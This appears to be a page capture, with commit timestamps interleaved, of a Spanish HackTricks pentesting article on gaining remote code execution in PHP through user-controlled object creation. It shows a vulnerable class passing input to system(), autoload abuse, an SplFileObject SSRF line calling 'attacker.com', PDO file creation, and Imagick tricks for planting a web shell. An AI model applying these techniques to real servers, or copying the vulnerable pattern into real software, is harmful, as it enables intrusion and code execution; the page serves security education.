hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

119 lines
6.9 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
2023-06-05 18:33:24 +00:00
</details>
Esto es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2023-06-05 18:33:24 +00:00
## Introducción
2023-06-05 18:33:24 +00:00
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
2023-06-05 18:33:24 +00:00
## RCE a través de Clases Personalizadas o Carga Automática
2023-06-05 18:33:24 +00:00
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos.
2023-06-05 18:33:24 +00:00
Considera el fragmento de código a continuación:
2023-06-05 18:33:24 +00:00
```php
class App {
function __construct ($cmd) {
system($cmd);
}
2023-06-05 18:33:24 +00:00
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
2023-06-05 18:33:24 +00:00
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
En este caso, establecer `$a` como `App` o `App2` y `$b` como un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
2023-06-05 18:33:24 +00:00
Las **funciones de carga automática** pueden ser explotadas si no hay clases directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando son necesarias y se definen usando `spl_autoload_register` o `__autoload`:
2023-06-05 18:33:24 +00:00
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
2023-06-05 18:33:24 +00:00
});
function __autoload($class_name) {
include $class_name . '.php';
2023-06-05 18:33:24 +00:00
};
spl_autoload_register();
```
El comportamiento de la carga automática varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
2023-06-05 18:33:24 +00:00
## RCE a través de Clases Integradas
2023-06-05 18:33:24 +00:00
La falta de clases personalizadas o autoloaders puede ser suficiente para RCE utilizando **clases integradas de PHP**. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando `get_declared_classes()`.
2023-06-05 18:33:24 +00:00
Los constructores de interés pueden ser identificados a través de la API de reflexión, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
2023-06-05 18:33:24 +00:00
**RCE a través de métodos específicos incluye:**
2023-06-05 18:33:24 +00:00
### **SSRF + Deserialización de Phar**
2023-06-05 18:33:24 +00:00
La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL:
```php
2023-06-05 18:33:24 +00:00
new SplFileObject('http://attacker.com/');
```
### **Explotando PDOs**
La clase constructora de PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente permite la creación de archivos u otras interacciones:
2023-06-05 18:33:24 +00:00
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versiones de PHP hasta la 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
2023-06-05 18:33:24 +00:00
## RCE a través de la Extensión Imagick
2023-06-05 18:33:24 +00:00
En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podría ser aprovechado para la **ejecución de comandos** mediante la creación de nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
2023-06-05 18:33:24 +00:00
### Analizador VID
Se identificó la capacidad del analizador VID para escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de una shell de PHP en un directorio accesible a través de la web, logrando la Ejecución Remota de Código (RCE).
2023-06-05 18:33:24 +00:00
#### Analizador VID + Carga de Archivos
2023-06-05 18:33:24 +00:00
Se observa que PHP almacena temporalmente los archivos cargados en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr la escritura de archivos arbitraria dentro del sistema de archivos.
2023-06-05 18:33:24 +00:00
### PHP Crash + Fuerza Bruta
2023-06-05 18:33:24 +00:00
Un método descrito en el [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica cargar archivos que provoquen un fallo en el servidor antes de la eliminación. Al hacer fuerza bruta en el nombre del archivo temporal, se vuelve posible para Imagick ejecutar código PHP arbitrario. Sin embargo, esta técnica se encontró efectiva solo en una versión desactualizada de ImageMagick.
2023-06-05 18:33:24 +00:00
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>